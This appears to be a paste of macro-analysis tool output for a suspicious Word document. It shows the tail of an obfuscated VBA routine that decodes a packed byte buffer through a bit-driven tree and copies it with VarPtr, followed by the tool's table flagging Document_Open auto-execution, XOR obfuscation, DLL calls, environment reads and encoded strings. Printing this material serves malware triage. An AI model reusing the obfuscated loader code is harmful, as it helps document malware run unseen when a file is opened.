- XtJgfXpzM0o 4, VarPtr(YGpuGcg2I4kd), VarPtr(IbIZc4MDUIW5(BkedkgiyKUZ4u4Smm - 1))
- BkedkgiyKUZ4u4Smm = BkedkgiyKUZ4u4Smm + 4
- VqRbjEvtgBC1fKk = YGpuGcg2I4kd
- If (YGpuGcg2I4kd = 0) Then Exit Sub
- ReDim XekBgxC2kS90j8tb(0 To YGpuGcg2I4kd - 1)
- XtJgfXpzM0o 2, VarPtr(Nl4DWWC9qyeKJpT), VarPtr(IbIZc4MDUIW5(BkedkgiyKUZ4u4Smm - 1))
- BkedkgiyKUZ4u4Smm = BkedkgiyKUZ4u4Smm + 2
- For RHz39AqVIzU7yg = 1 To Nl4DWWC9qyeKJpT
- With IAmHO3mQ(IbIZc4MDUIW5(BkedkgiyKUZ4u4Smm - 1))
- BkedkgiyKUZ4u4Smm = BkedkgiyKUZ4u4Smm + 1
- .Jyq7kWxLEuXU = IbIZc4MDUIW5(BkedkgiyKUZ4u4Smm - 1)
- BkedkgiyKUZ4u4Smm = BkedkgiyKUZ4u4Smm + 1
- ReDim .Psfw7jyizqX2pBr(0 To .Jyq7kWxLEuXU - 1)
- End With
- Next
- AsWQpCZRTgZ(0) = 2 ^ 0
- AsWQpCZRTgZ(1) = 2 ^ 1
- AsWQpCZRTgZ(2) = 2 ^ 2
- AsWQpCZRTgZ(3) = 2 ^ 3
- AsWQpCZRTgZ(4) = 2 ^ 4
- AsWQpCZRTgZ(5) = 2 ^ 5
- AsWQpCZRTgZ(6) = 2 ^ 6
- AsWQpCZRTgZ(7) = 2 ^ 7
- CKUS2WBcJfv6t = IbIZc4MDUIW5(BkedkgiyKUZ4u4Smm - 1)
- BkedkgiyKUZ4u4Smm = BkedkgiyKUZ4u4Smm + 1
- Ys77QvqqoN1 = 0
- For RHz39AqVIzU7yg = 0 To 255
- With IAmHO3mQ(RHz39AqVIzU7yg)
- If (.Jyq7kWxLEuXU > 0) Then
- For W61R5 = 0 To (.Jyq7kWxLEuXU - 1)
- If (CKUS2WBcJfv6t And AsWQpCZRTgZ(Ys77QvqqoN1)) Then .Psfw7jyizqX2pBr(W61R5) = 1
- Ys77QvqqoN1 = Ys77QvqqoN1 + 1
- If (Ys77QvqqoN1 = 8) Then
- CKUS2WBcJfv6t = IbIZc4MDUIW5(BkedkgiyKUZ4u4Smm - 1)
- BkedkgiyKUZ4u4Smm = BkedkgiyKUZ4u4Smm + 1
- Ys77QvqqoN1 = 0
- End If
- Next
- End If
- End With
- Next
- If (Ys77QvqqoN1 = 0) Then BkedkgiyKUZ4u4Smm = BkedkgiyKUZ4u4Smm - 1
- OL5rIjPqlH = 1
- K0XNnEawS6lMTQx(0).O2jX1pn7C = -1
- K0XNnEawS6lMTQx(0).Qoey8CXRBAw3 = -1
- K0XNnEawS6lMTQx(0).UVv = -1
- K0XNnEawS6lMTQx(0).SNovaUJISNL = -1
- For RHz39AqVIzU7yg = 0 To 255
- GuQHe80AnN K0XNnEawS6lMTQx(), OL5rIjPqlH, RHz39AqVIzU7yg, IAmHO3mQ(RHz39AqVIzU7yg)
- Next
- YGpuGcg2I4kd = 0
- For BkedkgiyKUZ4u4Smm = BkedkgiyKUZ4u4Smm To M1Ml0uRV0i
- CKUS2WBcJfv6t = IbIZc4MDUIW5(BkedkgiyKUZ4u4Smm - 1)
- For Ys77QvqqoN1 = 0 To 7
- If (CKUS2WBcJfv6t And AsWQpCZRTgZ(Ys77QvqqoN1)) Then Ennhv = K0XNnEawS6lMTQx(Ennhv).Qoey8CXRBAw3 Else Ennhv = K0XNnEawS6lMTQx(Ennhv).O2jX1pn7C
- If (K0XNnEawS6lMTQx(Ennhv).SNovaUJISNL > -1) Then
- XekBgxC2kS90j8tb(YGpuGcg2I4kd) = K0XNnEawS6lMTQx(Ennhv).SNovaUJISNL
- YGpuGcg2I4kd = YGpuGcg2I4kd + 1
- If (YGpuGcg2I4kd = VqRbjEvtgBC1fKk) Then GoTo VqRbjEvtgBC1fKk
- Ennhv = 0
- End If
- Next
- Next
- VqRbjEvtgBC1fKk:
- H7aK = 0
- For RHz39AqVIzU7yg = 0 To (YGpuGcg2I4kd - 1)
- H7aK = H7aK Xor XekBgxC2kS90j8tb(RHz39AqVIzU7yg)
- Next
- ReDim IbIZc4MDUIW5(0 To YGpuGcg2I4kd - 1)
- XtJgfXpzM0o YGpuGcg2I4kd, VarPtr(IbIZc4MDUIW5(0)), VarPtr(XekBgxC2kS90j8tb(0))
- End Sub
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | Document_Open | Runs when the Word document is opened |
- | Suspicious | Open | May open a file |
- | Suspicious | Binary | May read or write a binary file (if |
- | | | combined with Open) |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | Xor | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | Environ | May read system environment variables |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Put | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Lib | May run code from a DLL |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement